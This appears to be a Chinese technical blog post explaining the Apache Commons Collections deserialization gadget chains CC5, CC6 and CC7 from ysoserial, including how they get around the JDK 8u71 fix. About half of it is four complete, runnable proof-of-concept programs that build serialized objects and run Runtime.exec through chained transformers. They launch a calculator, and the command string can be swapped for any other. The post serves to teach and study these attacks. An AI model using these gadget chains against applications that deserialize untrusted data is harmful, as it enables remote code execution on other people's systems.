ysoserial反序列化gadget原理-part2:CommonsCollections5/6/7

前言

前文分析了CommonsCollections1 的原理,它受到了JDK版本的制约。本文来分析一下ysoserlial的CommonsCollections5/6/7 是如何解决这个问题的。

CommonsCollections5

前文分析提到,从JDK 8u71开始,由于AnnotationInvocationHandler#readObject()代码的修改,导致CommonsCollections1的LazyMap#get()无法被调用。那么想解决这个问题,就要找到其他会调用LazyMap#get()的类。CommonsCollections5 用到一个类 org.apache.commons.collections.keyvalue.TiedMapEntry,它是commons-collections 这个库中的类。

TiedMapEntry

TiedMapEntryMap对象的一个封装类,可对Map对象的操作进行控制。
在这个类里,在成员方法TiedMapEntry#getValue()中调用了内部Map对象的get()方法。而成员方法TiedMapEntry#equals()TiedMapEntry#hashCode()TiedMapEntry#toString() 都调用了TiedMapEntry#getValue()


在ysoserial CommonsCollections5中,作者使用了 BadAttributeValueExpException类,这个类的readObject()方法会调用其成员变量valtoString()方法。那么我们只要把TiedMapEntry对象赋值给val即可。

PoC

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo");
        BadAttributeValueExpException badAttrValExpException = new BadAttributeValueExpException(null);
        Field val = badAttrValExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttrValExpException, tiedMapEntry);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttrValExpException);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

gadget chain

BadAttributeValueExpException#readObject()
  TiedMapEntry#toString()
    TiedMapEntry#getValue()
      LazyMap#get()
        ChainedTransformer#transform()
          ConstantTransformer#transform()
          InvokerTransformer#transform()
            Method#invoke() -> Class.getMethod()
          InvokerTransformer#transform()
            Method#invoke() -> Runtime.getRuntime()
          InvokerTransformer#transform()
            Method#invoke() -> Runtime.exec()   

问题1

为什么TiedMapEntry不通过BadAttributeValueExpException的构造方法传入,而非得通过反射去赋值呢?

答:
因为BadAttributeValueExpException的构造方法,如果传入的不是null而是TiedMapEntry对象,则会立刻调用TiedMapEntry#toString()并将返回值赋值给val。这样的话,在序列化数据生成的过程中就会触发我们构造好的命令执行代码。因此这是原作者为了避免此情况作的优化。
在这里插入图片描述

CommonsCollections6

前面提到,在TiedMapEntry中,成员方法TiedMapEntry#equals()TiedMapEntry#hashCode()TiedMapEntry#toString() 都调用了TiedMapEntry#getValue()

CommonsCollections5 选择使用TiedMapEntry#toString(),而CommonsCollections6 选择了使用TiedMapEntry#hashCode()

剩下的就是寻找反序列化readObject()时能调用到TiedMapEntry#hashCode()方法的类。

这里笔者不打算完全照搬ysoserial 里的实现,因为它略复杂了点,感觉在不影响理解原有利用链的基础上,可以精简一下。

提到hashCode()方法,上一篇文章分析URLDNS gadget的时候就有看到过。HashMapput(key,value)操作的时候,是会调用key对象的hashCode()方法的。而且在HashMap#readObject()方法中会通过put操作来还原自身。

PoC

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        
        Transformer[] tmpTransformers = new Transformer[] {
            new ConstantTransformer(1),
        };
        
        //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
        //  所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
        //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
        Transformer transformerChain = new ChainedTransformer(tmpTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1");
        Map finalMap = new HashMap();
        finalMap.put(tiedMapEntry, "foo2");
        outerMap.remove("foo1");
        
        Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(transformerChain, transformers);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(finalMap);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

问题1

上面的代码中,为什么要执行outerMap.remove("foo1");

答:
假设不加这一句代码。会发生什么呢?结果是我们构造的命令执行的Transformer执行链没有被执行。
原因在HashMap#put()方法。把上面的其中三行代码抽出来解释:

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1");
Map finalMap = new HashMap();
finalMap.put(tiedMapEntry, "foo2");

HashMap#put()方法被执行,后续会执行LazyMap#get(Object key)方法,此时的key的值是字符串foo1,由于在前面的innerMap集合中我们没有往里面放置任何值,所以innerMap会将foo1作为key放置到自身集合中:
在这里插入图片描述
因此,在后面反序列化的过程中,当LazyMap#get("foo1")时,就不会进入这个if分支,所以我们构造的Transformer执行链就不会执行了。

因此为了解决这个问题,我们必须得在构造序列化数据的时候,执行innerMap#remove("foo1")outerMap#remove("foo1");

gadget chain

HashMap#readObject()
  HashMap#hash()
    TiedMapEntry#hashCode()
      TiedMapEntry#getValue()
        LazyMap#get()
          ChainedTransformer#transform()
            ConstantTransformer#transform()
            InvokerTransformer#transform()
              Method#invoke() -> Class.getMethod()
            InvokerTransformer#transform()
              Method#invoke() -> Runtime.getRuntime()
            InvokerTransformer#transform()
              Method#invoke() -> Runtime.exec()

ysoserial的CommonsCollections6 gadget可能因为考虑得比较周全的,所以显得略复杂,还多用了HashSet类。不过这里简化过的代码,反序列化也可以成功执行命令,而且不影响理解它的本质原理。

CommonsCollections7

与CommonsCollections5、CommonsCollections6类似,CommonsCollections7也是去找什么类可以调LazyMap#get(),其实LazyMap#equals()方法就调用了LazyMap#get()。一般而言,equals()方法用于比较两个对象是否相等。剩下的就是找一个类,它在反序列化过程中,可以自动触发两个LazyMap对象的比较。

按照这个思路,CC7选择使用HashtableHashtable类其实和HashMap差不多,调用put()方法时,存放的位置是由key的hash决定的,如果key的hash与已经存在的某个key的hash一样,则会调用key的equals()方法进行比较。
在这里插入图片描述
那么如果这两个key的类型是LazyMap,则可以触发了两个LazyMap对象的比较:lazymap1.equals(lazymap2)

而在Hashtable的反序列化readObject()的过程中,会调用reconstitutionPut()方法对自身集合的数据进行重新构建,其实就是将反序列化得到的数值或对象进行put()操作。换言之Hashtable的反序列化操作会触发lazymap1.equals(lazymap2)

问题1: 关于HashMap/Hashtable中的hash冲突

有了构造利用链的思路后,剩下就是如何构造有hash冲突的key。所谓hash冲突,就是put()进去的key,与已存在的某个key的hash是一样的情况。

也许你会说,这个简单,put()两个完全一样的key不就好了?实际上,这样会导致Transformer的执行链ChainedTransformer不被执行,原因见LazyMap#get()
在这里插入图片描述
也就是说,我们得构造key不能一样,但其hash值是一样的才行。

计算hash值的方法是hashCode()LazyMap#hashCode(),它会调用内层Map对象的hashCode()方法。我们假设内层Map是一个HashMap类型,看一下HashMap#hashCode()
在这里插入图片描述
在这里插入图片描述
可以看到HashMap的hash值是它的键值对的hash进行异或,然后再累加起来。

这里只关注key的hash值计算即可,value我们可以设置为一模一样的就好,比如简单的Integer类型,其hash值就是其int数值。 在ysoserial中,key取了String类型,且长度为2。我们来看看String的hashCode()方法。从String#hashCode()的注释可以了解到,其算法是:s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],其代码实现如下:
在这里插入图片描述
假设第一个put()的key为"aa",而字符a的ASCII值是97,则字符串"aa"的hash值计算如下:

loop1:h = 31 * 0 + 97 = 97
loop2:h = 31 * 97 + 97  = 32 * 97 =  3104
hash = h = 3104        ==> 字符串"aa"的hash值

可以看到上面的算式中32作为乘法因子,我们便可以利用大小写字母之间的差值为32来构造与"aa"的hash相同的简单字符串"bB"

loop1:h = 31 * 0 + 98 = 98
loop2:h = 31 * 98 + (98 - 32) = 32 * 98 - 32 = 32 * 97 = 3104
hash = h = 3104        ==> 字符串"bB"的hash值

解决了构造hash冲突的问题,就可以构造PoC了。

PoC - 使用Hashtable

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        Transformer[] tmpTransformers = new Transformer[] {
            new ConstantTransformer(1),
        };
        //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
        //  所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
        //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
        Transformer transformerChain = new ChainedTransformer(tmpTransformers);
        Map innerMap1 = new HashMap();
        Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
        Map innerMap2 = new HashMap();
        Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
        //构造可导致hash冲突两个Map对象
        outerMap1.put("aa", 11);
        outerMap2.put("bB", 11);
        
        Hashtable hashtable = new Hashtable();
        hashtable.put(outerMap1, 3);
        hashtable.put(outerMap2, 3);
        outerMap2.remove("aa");
        
        Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(transformerChain, transformers);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

gadget chain

Hashtable#readObject()
  Hashtable#reconstitutionPut()
    AbstractMapDecorator#equals()
      AbstractMap#equals()
        LazyMap#get()
          ChainedTransformer#transform()
            ConstantTransformer#transform()
            InvokerTransformer#transform()
              Method#invoke() -> Class.getMethod()
            InvokerTransformer#transform()
              Method#invoke() -> Runtime.getRuntime()
            InvokerTransformer#transform()
              Method#invoke() -> Runtime.exec()

问题2

上面的代码中,为什么要执行outerMap2.remove("aa");

答:
原因跟前面的CC6 问题1类似,也是由于LazyMap#get()方法引起的,结果就是导致反序列化时不会导致hash冲突而触发LazyMap#equals()方法。解决方法就是remove掉多余的key。
在这里插入图片描述

问题3:可否将Hashtable换成HashMap?

答:
用HashMap替换Hashtable是可以的。这两个类一般情况下是可替换来用的,区别主要在于线程安全和性能方面而已。

但要移除的多余的key可能得改一下。

PoC - 使用HashMap替换Hashtable

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        Transformer[] tmpTransformers = new Transformer[] {
            new ConstantTransformer(1),
        };
        //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
        //  所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
        //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
        Transformer transformerChain = new ChainedTransformer(tmpTransformers);
        Map innerMap1 = new HashMap();
        Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
        Map innerMap2 = new HashMap();
        Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
        //构造可导致hash冲突两个Map对象
        outerMap1.put("aa", 11);
        outerMap2.put("bB", 11);
        
        HashMap hashtable = new HashMap();
        hashtable.put(outerMap1, 3);
        hashtable.put(outerMap2, 3);
        outerMap1.remove("bB");
        
        Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(transformerChain, transformers);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值